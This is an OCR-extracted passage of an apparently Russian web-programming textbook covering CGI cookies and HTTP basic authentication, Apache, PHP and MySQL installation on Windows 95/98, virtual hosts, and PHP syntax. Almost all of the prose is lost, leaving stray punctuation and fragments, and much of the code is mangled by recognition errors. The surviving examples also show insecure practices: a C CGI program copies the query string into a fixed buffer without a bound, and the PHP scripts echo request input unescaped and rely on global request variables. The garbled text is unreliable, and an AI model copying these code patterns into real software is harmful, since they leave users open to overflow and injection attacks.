, , , .
domain
!1=_ , Cookie.
. , ,
3. CGI
71
, , ""
Cookie . , , .
path
path=nyrb (, URI),
, Cookie. ,
, , , . : , , , URI ( ) ,
Cookie .
secure
HTTPS, .
( ,
),
.
, (
<meta>), Cookie name value.
: Cookie URL, .
Cookies
Cookies : HTTP_COOKIE , QUERY_STRING,
& ;. , Cookies:
cookiel=valuel cookie2=value2, TO _1
:
cookiel=valuel;cookie2=value2.
,
.
Cookies
, Cookies.
URL- , .
72
I. Web-
\ 3.8. , Cookies
#include <stdio.h>
#include <stdlib.h>
//
void main() {
//
char Buf[1000];
// Cook Cookies
char *Cook = getenv("HTTP_COOKIE") ;
// 5 ("cook="),
// Cookie,
// (. ).
Cook += 5;
// 5
// QUERY_STRING
char *Query = getenv("QUERY_STRING");
// , ,
// , , ,
//
if(strcmp(Query, "")) { // ?
// QUERY_STRING,
// 5 ( "name=") //
strcpy(Buf, Query + 5);
// , Cookie
printf("Set-cookie: cook=%s; "
"expires=Friday,31-Dec-Ol 23:59:59 GMT", Buf);
// Cookie
Cook=Buf;
}
//
printf("Content-type: text/html\n\n") ;
printf ("<htmlxbody>\n") ;
// ( ),
if(strcmp (Cook, "")}
printf("<1>, %s!</hl>\n",Cook);
3. CGI _
73
//
URL . - , . ,
31 2001 URL, ,
- . , ,
"" . ,
Cookie ,
, .
, . URL-
Cookies, , . , , : Cookies
setcookie ( ) ,
Cookies ,
. .
, , ,
Cookies? ...
. .
74
I. Web-
, ( ) , , , ( , ,
). , -, , .
.
,
basic-. , , :
WWW-Authenticate: Basic 1\="_"
/1.0 401 Unauthorized"
,
. . _ , ,
.
CGI- () , (
), .
, , ( ,
,
(. ) Cancel, . . ). : , login password.
, ,
( )
:
Authorization: Basic TG9naW46UGFzcw==
, , .
, -
(
). , , :
( ),
"., , ".
, ""
. : login password
3. CGI
75
Cookie, ""
. , ,
Authorization: Basic _]<;1
( )
. , , ,
, . .,
.
: REMOTE_USER, .
,
.
II.
.
WEB- APACHE
Apache
:
?
"" Apache, , - Apache Windows 95/98. , ,
MySQL,
Windows. (, !), ,
Web!
,
(, Perl),
,
, . ,
100% , -
( - Unix,
Windows). ,
Win32, , , Apache ,
MIIS (Microsoft Internet Information Server Microsoft) ASP (Active Server Pages -
), , , .
, , . ,
HTML-.
SSI (Server-Side Includes ), CGI (Common Gateway Interface ) , -
80
, . ?
(
) -- Web. - ,
... ,
, "". Apache. ,
,
Windows 95/98 PHP, CGI Perl-
, Unix.
,
.
. :
Apache: http://www.apache.org;
: http://www.php.net;
MySQL: http://www.mysql.com;
Active Perl: www.activestate.com;
, Web-.
: http://www.webclub.ru.
: http://www.phpclub.net.
dk: http://www.dklab.ru.
:
Apache
, Apache Windows 95/98.
"" Apache: http://www.apache.org.
Windows. Apache .
, . , Apache ,
. , , ,
. , ,
4. Apache
81
( ) Apache, , ,
.
:
1. Apache. Next (. 4.1), Yes, .
fciext>
. 4.1. Apache
Choose Destination Location
Setup will install Apache Web Server in the following folder. ,,.;..
To insteif to this folder, dick Next
To install to a different folder, click Browse and select another folder.
You can choose not to install Apache Web Server by clicking Cancel
to exit Setup-
Destination Folder
-. '.---
<Eack
1 fcjexo
. 4.2.
-.
Biowse...
82
2. Next ,
Apache (. 4.2). ,
( , , C : \ P r o g r a m F i l e s \ A p a c h e Group\Apache). -
.
3. Typical ()
Next (. 4.3).
4. Apache
. , Next. .
5. Finish. , .
Setup Type
Click the type of Setup you prefer, then click Next.
Compact
Cy.st.om
. 4..
:
Apache
,
. Apache C:\Program FilesX
Apache Group\Apache\htdocs, . ,
,
(, z : )
subst, Windows. ,
.
4. Apache
83
1. , (
). , , C:\INTERNET.
z : .
2. C:\autoexec.bat ( @echo off,
) :
subst Z: C:\INTERNET
3. , z: .
, C:\INTERNET,
z : , . .
z: -
(, Windows 95/98
DriveSpace). , , , subst, , . Web-, ?
A DriveSpace . DriveSpace, Windows .
Z: home, locaihost.
Apache , http://localhost. .
cgi www. CGI, . ,
( ). . 4.4.
httpd.conf, conf Apache (
C : \ P r o g r a m F i l e s X A p a c h e GroupXApache). , -
, Edit configuration,
| Apache Web Server I
Management. Httpd.conf -- , . ,
, .
4 . 699
84
. , ,
(,
, ). .
Apache locaihost,
, , - .
- locaihost
iS
ji > |
: JCJ Z:\home\localhost
x;
i ! SI (F:)
j : as>sft(Z:)
B-Q home
-Sl locaihost
CJ cgi
' v '"
cgi
Pi
ww\v
Cl WWW
LiJ
.d
. 4.4.
serverName :
ServerName locaihost
serverName, , . # ( ),
, , Apache
.
DocumentRoot ,
HTML-. ,
z:\home\localhost\www)
DocumentRoot z:/home/localhost/www
, <oirectory/> </oirectory> ( ).
.
:
<Directory z:/>
Options Indexes Includes
AllowOverride All
Allow from all
</Directory>
4. Apache
85
,
( z: ). ,
, SSI
.htaccess .
</oirectory>. , . , . .
, .
Directorylndex :
Directorylndex index.htm index.html
, - ,
HTML-. , ,
, index.php, .. ,
.htaccess .
CU :
ScriptAlias /cgi-bin/ "z:/home/localhost/cgi/"
:
ScriptAlias /cgi/ "z:/home/localhost/cgi/"
, , . , CGI-.
Apache , ,
http: / / l o c a i h o s t / c g i - b i n , z: /home/iocaihost/cgi. CGI , /cgi-bin/
localhost, . CGI- / c g i / .
, <oirectory " : /
Program
Files/Apache
Group/Apache/cgi-bin">
</oirectory>. CGI-. , , .
( !)
:
AddHandler cgi-script .bat .exe .cgi
86
Apache SSI.
.
: Apache
Apache, !
, , Apache
Web Server, Management Start Apache, , MS-DOS, .
Apache.
, , - h t t p d . c o n f .
. , .
1. MS-DOS. , . command
<Enter>. .
2. DOS:
:
3. Apache ,
httpd.conf, .
httpd.conf , ,
- "Apache/1.3.14 (Win32) running..."
, .
Windows
, , .
, , . Start Apache <Ctrl>+<Alt>+<A>, Stop Apache <Ctrl>+<Alt>+<S>.
<Ctrl>+<Alt>+<A>
, <Ctrl>+<Alt>+<S>.
, .
4. Apache
87
html
z:/home/localhost/www, HTML- Apache,
index.html . :
http://localhost/index.html
http://localhost/
SSI
z: /home/iocaihost/www HTML- Apache
test.shtml ( include!):
: 4.1. test.shtml
SSI Test!<hr>
<!--ttinclude virtual="/index.html" >
<hr>
:
http://localhost/test.shtml'
CGI
z: / h o m e / i o c a i h o s t / c g i , CGI, test.bat :
i 4.2. test.bat
@echo off
echo Content-type: text/html
echo.
echo.
Dir
88
:
http://localhost/cgi-bin/test.bat
DOS dir.
,
Windows: , test.bat, Apache . , ,
,
Windows. test.bat , :
- bat-, , Unix.
- , Apache , , - , h t t p d . c o n f . log-,
C:\Program FilesXApache Group\Apache\logs.
Apache
, Apache , ,
z:/home/localhost/www z:/home/localhost/cgi
CGI. (, ,
) , a Apache .
, , Apache.
: IP-
IP- ( name-based , ). , , hacker, , locaihost,
cracker 1 2 7 . 0 . 0 . 2 .
, "hacker" "cracker"
. ,
Web-, "" . ru . com
.
Unix,
z: /home , (
locaihost). , hacker -
4. Apache
89
_
; pY\hom
'- j home
, Cl cracker
- _j hackei
--1J cgi
'Jj WWW
:- '21 lOCOlhOSl
_U cgi
'O www
(jj
. 4.5.
NameVirtualHost 127.0.0.1
#
localhost
<VirtualHost localhost>
90
ErrorLog z:/home/localhost/error.log
CustomLog z:/home/localhost/access.log common
</VirtualHost>
#
hacker
<VirtualHost
hacker>
ServerAdmin webmaster@hacker.ru
ServerName hacker
DocumentRoot "z:/home/hacker/www"
ScriptAlias /cgi/ "z:/home/hacker/cgi/"
ErrorLog z:/home/hacker/error.log
CustomLog z:/home/hacker/access.log common
</VirtualHost>
#
cracker
<VirtualHost
cracker>
ServerAdmin webmaster@cracker.ru
ServerName cracker
DocumentRoot "z:/home/cracker/www"
ScriptAlias /cgi/ "z:/home/cracker/cgi/"
ErrorLog z:/home/cracker/error.log
CustomLog z:/home/cracker/access.log common
</VirtualHost>
,
<virtuaiHost> locaihost. ,
( , 127.0.0.1) name-based
hacker. , , - ,
<virtualHost> , ,
.
NameVirtuaiHost , IP-
,
, , HTTP 1.1
(, , name-based ).
<virtuaiHost>
(, Directoryindex . .) .
.htaccess , , (
) "" ,
.
4. Apache
91
, cracker
1 2 7 . 0 . 0 . 2 , a hacker -- name-based ? hosts,
C : \ W I N D O W S Windows 95/98/Milienium
C:\wiNNT\SYSTEM32\DRivERS\etc Windows NT Windows 2000.
hosts -- ,
:
127.0.0.1
localhost
localhost 127. . . 1.
, localhost . Microsoft!
,
:
! 4.4. hosts
127.0.0.1
localhost hacker
127.0.0.2
cracker
, hacker ,
localhost. , hosts IP-.
, (, ) ,
. localhost ,
hacker . Apache 127. . . 1
, hacker, <VirtualHost>.
, :
hacker:
hacker;
http: / / h a c k e r ;
92
z : /home/hacker;
z\ /home/hacker/www,
http: / / h a c k e r / ;
CGI
z:/home/hacker/cgi,
http://hacker/cgi/;
z: /home/hacker.
cracker:
cracker;
h t t p : / / c r a c k e r h t t p : / / 1 2 7 . 0. 0. 2;
z:/home/cracker;
z.-/home/cracker/www,
http: / / c r a c k e r / ;
CGI
z: /home/cracker/cgi,
http://cracker/cgi/;
z : / h o m e / c r a c k e r .
, (, , ) - h t t p : / / 1 2 7 . o . o . l
http: //localhost. , cgi-bin "" , .
Apache.
,
, Stop Apache
I I Apache Web Server I Management.
Apache, , , httpd.conf, .
, Apache ,
.
PHP MySQL
4, ,
, Apache. ,
setup-,
, Apache. , ,
.
,
http://www.php.net Downloads : zip, .
, Win32 Binaries.
4, ,
, , ,
.
. , -,
.
,
. ,
.
. , 4.0.3.
, , , 4.0.10. , ,
, , ,
. , 4,
"" "" .
1. -.
Next (. 5.1).
94
& Welcome
Welcome to 40. Setup program. This
program will install PHP 4.0.3pl1 on your computer.
You may need to stop your web server before installation. [IS Bnd
PWS do not need to be stopped.
Dick Cancel to quit Setup and then stop your wsb server
necessary. Click Next to continue with the Setup program.
WARNlNG;This program is protected by copyright iaw and
international treaties.
Cancel
. 5.1. PHP
2. , I Agree. Standard.
3. , . : \, , ,
C:\program Fiies\PHP4, "" Apache (. 5.2).
Browse... , , , Next, .
S Choose Destination Location
Setup will install PHP 4.0.3pl1 in the following folder
To install into a different folder, click Browse, and select another
folder.
;
'
You can choosi
Setup.
Destination Folder
C:\Program Files\PHP4
tiext>
. 5.2.
5. PHP MySQL
95
Cancel
. 5..
Apache
1. Apache httpd.conf,
C:\Program Files\Apache Group\Apache\conf. , -
, Edit
configuration I I Apache Web Server I Management.
"_php" ,
, .
5. , Apache,
( I I Apache Web Server I
Management I Stop Apache), . Apache ( ), , -
. , 4.
, PHP- .
z: /home/iocaihost/www test. php :
I 5.1.
echo "It works ! <br>\n";
phpinf ( ) ;
?>
: h t t p : / / i o c a l h o s t / t e s t . p h p . , phpinf ( ) .
5. PHP MySQL
97
, ,
httpd.conf. , Apache.
, Apache, ,
Stop Apache,
.
Apache, .
,
, zip-.
, , FTP (File Transfer
Protocol ) . . , , . , . , .
1. zip- ,
( c : \ P r o g r a m Fiies\PHP4).
, . ,
extensions, .
2. , ,
.
php.ini Windows (
C:\WINDOWS). .
,
. ,
,-, .
3. magic_quotes_gpc :
magic_quotes_gpc=0ff
, . .
98
4. :
extension_dir=C:\Program Files\PHP4\extensions
,
C:\Program Fiies\pHP4\extensions, . . , . ,
. /, . . , . , , .
5. "" , ;extension=.
,
. GD , php_gd.dll.
MySQL .
6. php.ini.
, Apache ,
, .
MySQL
: Web? ?
( ). : ,
- MySQL , ,
" - " .
, MySQL.
. , .
1.
MySQL
(http://www.mysql.com, Downloads) MySQL. Windows. zip-,
.
2. setup.exe .
Next (. 5.4).
3. Next.
MySQL. C:\mysqi, , ,
.- \Program Fiies\MySQL (. 5.5). Next.
5. PHP MySQL
99
Cancel
. 5.4. MySQL
4. Typical. MySQL.
. MySQL .
r Destination Folder
-& -
I C:\ProgramFiles\MySQL
. 5.5. MySQL
5. MySQL-,
C:\Program Files\MySQL\bin\mysqld.exe.
100
\ 5.2. server.bat
Secho off
":\Program Files\MySQL\bin\mysqld"
start /m "C:\Program FilesXApache Group\Apache\Apache"
Windows NT Widows 2000, ,
( MySQL , ):
@echo off
, "" <Ctrl>+<Alt>+<A> (
Apache,
).
6.
Apache MySQL. bat , , shutdown.bat, z : .
| 5.3. shutdown.bat
@echo
off
<Ctrl>+<Alt>+<S>.
MySQL
, .
server.bat, . mysql .php z : \ h o m e \ l o c a l h o s t \ w w w .
] 5.4. mysql . php
5. PHP MySQL
101
mysql_select_db (DBName) ;
// t. ,
// , . .
// "@"
@mysql_query ("create table t(id int, a text)");
// 10
for($i=0; $i<10; $i++)
{
$id=time();
mysql_query ( "insert into t(id, a) values ($id, '$1 !')");
//
$r=mysql_query ("select * from t") ;
f o r ( $ i = 0 ; $i<mysql_num_rows ($r) ;
{
$f=mysql_fetch_array ( $ r ) ;
echo " $ f [ i d ] -> $f [a] <br>\n";
:
http: //localhost/mysql.php
,
.
t ,
.
DBName,
HostName,
UserName
Password. DBName (
test , MySQL ). HostName locaihost, .
UserName root,
. MySQL root ,
Password .
, ,
, , . (
, , ).
? : ", ,
Perl!". , .
Perl, ,
. . : Perl
. ,
, . : Perl
. , (
).
, , ,
Perl...
, , (, ) ,
, Perl .
, (, )
, . Perl ,
( Perl
), . ,
PHP- ( )
, Perl (,
Perl-, , mod_perl).
, , Perl:
.
, , 4 ,
106
III.
, Perl. .
?
, , 4, , . , . ,
, . , , - , . .,
.
4.
, "" .
, , - , . , , . ,
, . .
.
, 4. , ( ,
) . -, , , ,
. - . , () -.
.
, ,
. ? ,
. :
,
"" -, .
, , .
3, , , , . . 4
( ), -.
, ?
6.
107
Perl, , , . ,
, 4 ,
Perl.
,
. , ,
( , , ,
, ). , " ",
, . ,
,
( ), .
, 4
3. , .
: - (, ,
). ,
: , 3
, .
? , , . .
. , ,
- , . , .
. , , , .
(
, .
, "" , - " ". , compiler "", "".
, Perl .
108
III.
PHP
Perl, , ,
Web, (,
, ).
, . , , ,
, - ( , Perl , ), . ,
:
for (long i=0; K1000000;
,
:
for ($i=0; $i<1000000; $i++) ;
Pentium 100 .
, Perl,
4, 3. Perl
100 . , 3 .
, (
, , ),
. , , ,
0,01 0,1 , , , 5 ?
(~
, - : ,
, , .
( ) , Java.
" , , , , , ? , -
(, ), -
6.
109
, ?" , .
, ... .
, ( ).
, .
, ,
"", .
(, )
" "...
, , . .
.
, -
.
. ,
, , .
, , , ,
. ,
, . .
( , ,
for). .
. , , Web .
: ,
,
.
, . . , ,
,
,
.
III. PHP
PHP-
, "Hello world!". ,
. :
echo "Hello world!
. , , .
, . , , "
". , PHP- CGI-,
. .
"i".
, , . :
<body>
Hello world!
</body>
,
HTML-? . -,
,
"" .
? , HTML- ? , .
( 6.1).
! 6.1.
<htmlxbody>
<>! </hl>
<?
// ". "
$dat=date("d.m " ) ;
//
$tm=date("h:i:s");
#
6.
111
</bodyx/html>
,
"" , - . .
, .
, , : ? HTML- <html> <body>? -
(, ) :
PHP- HTML-,
.
,
printf'oB , HTML- ?
, . , ,
PHP-, , p r i n t f () .
. , , ,
<? ?>. ,
, HTML . - ,
echo ( , : ,
, , ?). . , , , , <? ?>,
, . . , echo
( , ).
, //
.
# / / , .
:
/*
112
III. PHP
...
*/
, , , .
- "" , . , , . , : , .
, :
,
( , ).
, . :
$dat=date("d.m " ) ;
: $dat (,
$, "
") , date ( ) .
, , , -,
( , , ), -,
( ). , , . date ...
, , . , "11.12 01".
, . , . ,
else if-eise,
.
,
, . $tm
"::", date ( ) . .
echo,
. :
echo " : $dat <>\";
: , $, $dat
(, , echo). , ( echo
):
echo " : ",$dat," <>\";
6. _
113
:
echo " : ".$dat." <>\";
" . " ( ).
, , , , "+", :
$="100";
$="200";
, , ,
.
.
"" :
$path="c: /windows"; Sname="win"; $ext="com";
FullPath="$path\$name . $ext" ;
, :
$path=" : /windows"; $name="win"; $ext="com";
$FullPath=$path. "\".$name. ". ".$ext;
Perl , ,
, , . . .
,
.
, ""
5 .
:
for ($i=l; $i<=5; $i++)
{
for ( $i,
1, , ). , "-". ,
III. PHP
, , , . :
, ,
.
, ?>, HTML-, .
! ( 6.2):
I 6.2.
<htmlxbody>
<> !</hl>
: 29.01 01 <>
: 04:34:16<br>
5 :<>
<li>l = 1, 1 = 1
<li>2 = 4, 2 = 8
<li>3 = 9, 3 = 27
<11>4 = 16, 4 = 64
<li>5 = 25, 5 = 125
</body></html>
, , <? ?>. -
: .
Web
,
. . .
, , ""
HTML-. CGI-
. ?
. . ( HTML),
HTML-.
HTML-
.
6.
115
( - , ) ? . . ,
.
, , .
, , " ,
", . ,
, ,
.
, .
, ? , . , , (
, HTML-). , , 6.1, HTML- ""
. , , , i i s t i . i .php Web-. Web- .
Apache Win32,
II. localhost .
, ,
Windows- . -, ,
, ( ) Unix -
Windows .
. 6.1 -- , ,
( :
z:/home/localhost/www/list 1.1 .php).
URL (http://localhost/listl.l.php).
, Web-.
php ,
, . 5 . 699
116
III. PHP
, , PHP- php.
fahttpiWIocalhost/listl .1 .php
I \^ http://1ocalhost/list1.1 .php
!
: 29.01 01
: 05:32:25
5 :
1 = 1,1 = 1
2 = 4, 2 = 8
3 9, 3 = 27
4 = 16, 4 = 64
5 =25, 5 = 125
^^
lS^ ()
. 6.1. , 6.1
, ,
, , , PHP-
, HTML. ,
, , . , . .
. ...
( ,
, Forth), , .
, , 3 !
, . , . . , , - ,
( ).
:
,
$my_variable , SMy_Variable $MY_VARIABLE.
, $ "" , , .
, (
""
, ...)
,
"" , ,
118
III. PHP
127, , "" ! - ,
.
, , . - , ( , , ,
). ,
( ), --, . , 4 , .
, ,
. . (,
), , .
(, ) .
, .
5 ,
.
integer
, 32 ( 2 147 483 648
2 147 483 647, - ).
double
(
).
string
. ,
, . ,
.
, ""
200300 ( ).
,
.
7. ^ ,
119
array
(, , ,
). ,
=>
( => -
).
. ,
, , . , :
// "", "", "" ""
$a=array(0=>"zzzz", "a"=>"aaa", "b"=>"bbb", "c"="ccc");
echo $a["b"];
// "bbb"
$a["l"]="qq";
// "qq"
$["a"]="new_aaa"; // "new_aaa";
, , array , .
object
, . , ,
->, .
, .
.
: f a l s e
() true (). ( ),
true , 0, false . , (
, )
. false true .
false true . , f a l s e , a true
. , :
echo false;
// , . .
echo true;
// 1
( 7.1).
20
III.
PHP
7.1.
$=100;
if ($a==100) echo " 1!<>"
if ($a==true) echo " !<br>"
true 1,
, ? . ,
. , (, ==, >, < . .) , . ( 7.2) , , ,
, .
! 7.2.
$=100;
$b=true;
echo " = $a<br>";
echo "b = $b<br>";
if($a==$b) echo ' "" b ! ' ;
$b=true;
7.
121
1, , 4.03.
. : ,
.
,
.
( , ), , ( , new). ,
. , , , , "". ,
, , .
, ( , )
. isSet . :
if (IsSet ($MyVar) )
echo " . $MyVar";
(
,
unset ( ) ), isSet ( ) , .
,
(, ,
122
III. PHP
). , ,
.
,
"" .
( ),
@, ( ).
Unset ( ) .
, . .
,
. :
// $
$a="Hello there!";
// $
// ... - , $
echo $a;
// $
Unset ($) ;
// $
echo $a;
// : $
, Unset ( )
.
. , $
for_dei, :
Unset ( $ A [ " f o r _ d e l " ] ) ;
for_del , , .
,
. .
i s _ i n t e g e r ($ )
true, $ .
7. , ,
123
is_double ( $ a )
true, $ .
is_string($a)
true, $ .
is_array($a)
true, $ .
is_object($)
true, $ .
is_boolean($)
true, $ .
gettype($a)
, , : array, object,
integer, double, string, boolean unknown type
. ,
( , , ,
). , . .
.
,
(,
). .
settype($a,$type)
$ $type ($type
, gettype , boolean).
(, $ "" , settype
($, " i n t e g e r " ) ) , false.
, , , . -
, , . =:
$ =;
\24
III.
,
( , ==), , , . ,
if(a=b)
...
if(a==b)
...
( ),
. :
- :
$=0; $=1;
if($a=$b) echo " "; else echo " b ";
"", , "
b ", , , ( , $=$
, $+$, ,
, 1).
, , ,
( )?
= (, ) : =, == =? .
, "" (
==
), . .
, (, , ,
), .
: (
).
4 ( ).
,
. ( ,
, , , Perl) . , , , .
7. , ,
125
, & ().
:
$=10;
$ = &$;
// $ , $
$=0;
// $=0
,
( ). :
$A=array('a' => 'aaa', 'b' => 'bbb');
$b=&$A['b']; // $b , ''
$=0;
// $['']=0;
echo $A['b']/ //
, , , . :
$=('' => ' ' , 'b' => 'bbb');
$b=S$A[ ' ' ] ; // $ , ''
echo " '': (" . $[ ' ' ] . ") " ;
, $
, $ ( echo).
, , , .
, , , SA.
, , . , unset ,
, , ,
.
, , . ,
.
, (), ,
, .
unset ,
, .
126
III. PHP
. , , .
,
. , ,
$ .
:
$=10;
$=20;
$=30;
$="";
// $="" $="" ( $ )
echo $$p; // , $, . . $
$$=1;
/./ $ 100
, , , $.
, $, , $.
,
, . ,
, , .
, , Unix,
"" "" , . . .
, - . , , , , ,
. ""
, , , "20"
10 30 ( "2010") ,
.
7. , ,
127
, $ ,
. , ( ) , , , $ 10. (,
, "Array").
, , (, , ), ,
, .
. ,
, , , . FuncName:
<return_type> FuncName (<typel> $paraml [,<typel> $param2])
- -. -.
,
<return_type>, ( , ).
<typei>, <type2>. , , .
string
, , .
int, long
, (
), ,
. int, 0. !
double, float
, , , .
boot
, (
, false), ( ).
128
III. PHP
( int, ), , .
array
, (. ).
=>. , list.
list
, 0 . , list
array. , , " "
, ""
. , ( , ,
),
, .
object
- . .
void
, , , : "
". ( ), void- false ( ).
mixed
, . , ,
... , mixed
gettypeo settypeo. ,
mixed, ,
.
!
, - . , , . , ...
7. , ,
129
,
- , . , , . .
, .
, , -, , -,
$, . :
// , PI, 3.146
$=2.34*sin(3*PI/8)+5;
//
// " PI"
// " 3.14"
, "" ,
. , , :
.
: ( ), .
.
FILE_
, .
LINE_
, . ""
.
PHP_VERSION
.
PHP_OS
, .
TRUE true
"".
FALSE f a l s e
"".
130
III. PHP
, .
define , .
(
):
void define(string $name, string $value, bool $case_sen=true);
, $name,
$vaiue. $case_sen true, , ( , , ).
.
:
define("pi",3.14);
define("str","Test string");
echo s i n ( p i / 4 ) ;
echo
str;
,
. ,
.
, , (
) . .
bool defined(string $name)
true, $name .
, , . - .
"", .
, , . "": ",
". : - ,
"-" .
7. , ,
131
, ,
, . , 5
$=5;
, . . 5.
, $ 5. ,
$=$;
, , $ 5, $ 5.
. , ,
, ? , $=$ ! (,
Perl). , : 5 ( , ?). ,
- :
$=($=10);
// $=$=10
$ $ 10. ,
:
$a=3*sin($b=$c+10)+$d;
? ,
, :
$=$+10;
$a=3*sin($c+10)+$d;
, (
- )
.
,
"" ,
.
,
. :
$=10*20;
$="".(10*20);
echo "$:",gettype($)," $b:",gettype($b);
// "200:integer 200:string"
(, , $ string, ),
132
III. PHP
. , . ,
:
$ = i n t v a l ( $ b ) ;
$ = (int)$b;
, :
$b=intval() $b=(int)()
$.
$b=doubleval() $b=(double)()
$.
$b=strval() $b=(string)()
.
$b=(bool)()
. , $ true, false.
-, (array) ( o b j e c t ) ,
.
,
: (, , 0 1). , ?
"" (,
if-eise). , ,
, . ., .
,
.
>, <
(), | | ( ), &&
( ), \ ( ) . :
$ = 10<5;
// $a=false
$ = $b==l;
// $a=true, $=1
$ = $b>=l&&$b<=10
// $a=true, $b 1 10
$ = !($b||$c)&&$d; // $a=true, $b $ , a $d
7. , ,
733
? , :
Sb = $>=1&&$<=10; // $
if($b) echo " ";
. ,
.
, . , :
$=" ,
,
. .";
, , . ,
.
. (,
''), , , :
\ '
, ;
CJ \\
.
, , $
( ,
, , , . .
).
, "". , , , ,
, . :
\ ;
\ ;
\t ;
134
III. PHP
\$ $,
, ;
\ " ;
\\ ;
\ NN.
. :
$="!1";
echo "$a w o r l d ! "
Hello world!,- .. $
$ ( , ).
.
$a="Hell";
// Hello ""
, . :
, $ $?
, . , , , $ . ? :
$a="Hell";
// Hello ""
//
, .
. { $ } ,
.
,
.
-
, here- (
).
. :
$a=<MARKER
- ,
7. , ,
135
, , :
, $name .
MARKER;
MARKER - ,
here- . 2 here-:
<MARKER ;
MARKER,- , .
here, , , . ,
, (
strip_tags ):
echo strip_tags (<EOD) ;
- <> </> !
EOD;
, ,
.
"" (, ''),
, , .
, , Windows , dir:
$st='command.com/c dir~;
echo "<pre>$st</pre>";
,
,
, . .
,
.
, .
136
III. PHP
, , ( ) . , ( )
. ,
, .
+
-
*
/
%
/ ( , ), ( ,
), . % , , , .
.
[]
, ,
, .
=.
, "", ,
. :
$ = ($ = 4) + 5;
$ 9, $ 4.
,
.
7. , ,
137
, , . :
$ = 10;
$ += 4;
// $ 4
$s = "Hello";
$s .= " world!"; // $s "Hello world!"
, .
$+=1 $-=1 , , . :
$++ $ 1;
$
$ 1.
,
, $ . :
$=10;
$=$++;
echo "a=$a, b=$b"; // =11, =10
, $ $,
. , ,
$,
, $ .
,
, . , . :
$=10;
$=$;
echo "=$, =$"; // =9, =9
.
, for.
(//)
. ,
,
138
III. PHP
. , 12
1100, 2 10, 12|2 14 (1110 ). , ,
.
& -- , , , .
| - - , , , ( ).
~
- , , .
,
.
, .
,
: false true.
,
, true, false.
== , .
!= , .
< , .
> .
<= , .
>= .
, (
) . .
( ==),
. - , == , ,
Array,
.
4 ===, . , ,
7. , ,
139
, . , ,
:
$=10;
$="10";
if($a==$b)
, $ , $ . , , , . , "".
$=0;
//
$=""; //
if($a==$b) echo " b ";
$ $ , , . ? ,
, . 0, . , echo .
=== ( ).
, . :
$=0;
//
$=""; //
if($a===$b) echo " b ";
. "" .
, . .
. :
$=(''=>'');
$b=array('b'=>'bbb');
if ($a==$b) echo " == a=b<br>";
if ($a=$b) echo " === a=b<br>";
, ,
. , , , - Array, . === , .
, === ! == (
!). , ,
.
140
III. PHP
false true.
] , , .
&& , , .
a i i , , , .
, , , , , (, faise&&4To false), , . ,
$logic = 0 & & ( t i m e ( ) > 1 0 0 ) ;
time .
. , , , | | |
,
, false true.
.
, PHP-
, , .
.
, ?
, , , .
, Perl, , , "500- ", Perl . : 500- , .
, " ". , , , -
7.
141
( , ). ,
no-, . . . , ,
"" .
. . ,
. , ,
( 7.4):
I 7.4.
<form action=test .php>
<input type=submit name="doGo" value="Click! ">
</form>
<?
if($doGo) echo " !";
, , :
, " $dodick ". - , ? , , ?
@ ( ). (,
, ), .
$php_errormsg, . , track_errors
( yes).
, ( 7.5).
I 7.5.
<form action=test .php>
<input type=submit name="doGo" value="Click! ">
142
III. PHP
</form>
if(@$doGo) echo " !";
, 7.5 7.4 @ i f .
(~
, @. , , . , ,
, .
, : -
. . -, Web- ( ) , . ., .
, , ,
, . ,
,
HTTP , POST-
. .
HTTP,
. , , , ,
, .
: ,
"Hello world, 10 ".
.
,
: ", <>! ,
<> !".
URL ? ,
=&= (
). ,
144
III. PHP
. ?, &, %... ,
HTML, , , .
,
heiio.php. 2 : name age.
HTML-:
<htmlxbody>
, name! , age !
</body></html>
, name age . ,
http://www.somehost.com/script.cgi?name=Vasya&age=20
.
, .
, . ,
, URL ?
,
QUERY_STRING, $QUERY_STRING. -
, ( 8.1).
! 8.1.
<htmlxbody>
<?
echo " : $QUERY_STRING";
?>
</bodyx/html>
(
test.php ) :
http://www.myhost.com/test.php?aaa+bbb+ccc+ddd
:
: aaa+bbb-t-ccc+ddd
, URL- :
$QUERY_STRING, ,
, . .
8.
145
Web-,
$QUERY_STRING , .
, ( , +,
) - $argv, . ,
, ,
.
$argv
,
, .
( ) ,
.
. ,
? ,
- Windows, . ,
HTML- (, form.html
)
. ,
, , , ,
( 8.2).
! 8.2. form.html:
!
<htmlxbody>
<form action=hello.php>
: <input type=text name="name" 1=""><>
: <input type=text name="age" value="HeonpefleneHHbM"xbr>
<input type=submit value="Ha;KMHTe , !">
</form>
</body></html>
. ,
, ,
hello.php ? , <input> & . , action <form>
146
III. PHP
, . . heiio.php
, form.html.
, ,
URL- , . , %, , .
, , . .
, .
| 8.3. hello .php -
<htmlxbody>
<?
$name , $
echo ", $name!<br> , $ !";
?>
</html></body>
, $name $
. ,
"" (
), . , , ,
.
,
QUERY_STRING, . . , GET POST
"". , ,
(,
REQUEST_METHOD), QUERY_STRING, . , , CGI-.
, . name -
8.
147
$name, age -- $. ,
"" -- URL-. , , ? , , , , .
hello.php ( 8.4). ,
:
I 8.4. hello.php:
<htmlxbody>
<? echo ", $name!<br> , $ !" ?>
</htmlx/body>
,
, . , , , . , , , ,
. i f , , , , ( 8.5).
I 8.5. hello.php:
<html><body>
< ? i f ( ! @ $ d o G o ) {?>
<form action="<?=$SCRIPT_NAME?>">
: <input type=text name="name"xbr>
: <input type=text name="age"xbr>
<input type=submit narne="doGo" value="Ha;*MHTe !">
</form>
<?} else {?>
, <?=$name?>!<br>
, <?=$age?> !
<?} ?>
</htmlx/body>
,
. <?=?>. ,
63. 699
148
III. PHP
<?echo () ?>, ,
HTML-.
, : ? <?= , , .
, HTML-.
: action <form>
,
SCRIPT_NAME ( ). "" , . .
.
Apache, ,
$SCRIPT_NAME ,
. , ,
(
, Apache), $SCRIPT_NAME /_php7php.exe,
, , . ""
REDIRECTJJRL,
$REDIRECT_URL. , Unix, , REDIRECTJJRL ! , 29.
,
form.html: . : . :
, , (,
,
!).
Cookies
"" . ,
,
(
QUERY_STRING,
CONTENT_LENGTH ), Cookies.
, ( 8.6), IP- , , (
REMOTEJJSER HTTP_USER_AGENT):
8.
| 8.6. IP-
149
<htmlxbody>
IP-: <?=$REMOTE_USER?Xbr>
: <?=$HTTPJJSER_AGENT?>
</body></html>
ENVIRONMENT-GETPOST-COOKIE,
. , =, , GET- =20 Cookie =.
$ 30,
Cookie GET, a GET . ,
- VAR ( , , ), : ,
:
http://www.somehost./.?\*=___
VAR ? ,
getenvo,
, .
.
,
. ,
, , . - , , oelect multiplex
<select name=Sel multiple>
<option>First
<option>Second
<option>Third
</select>
() ,
, <Ctrl> .
First Third.
sei=First&sei=Third, $sei ,
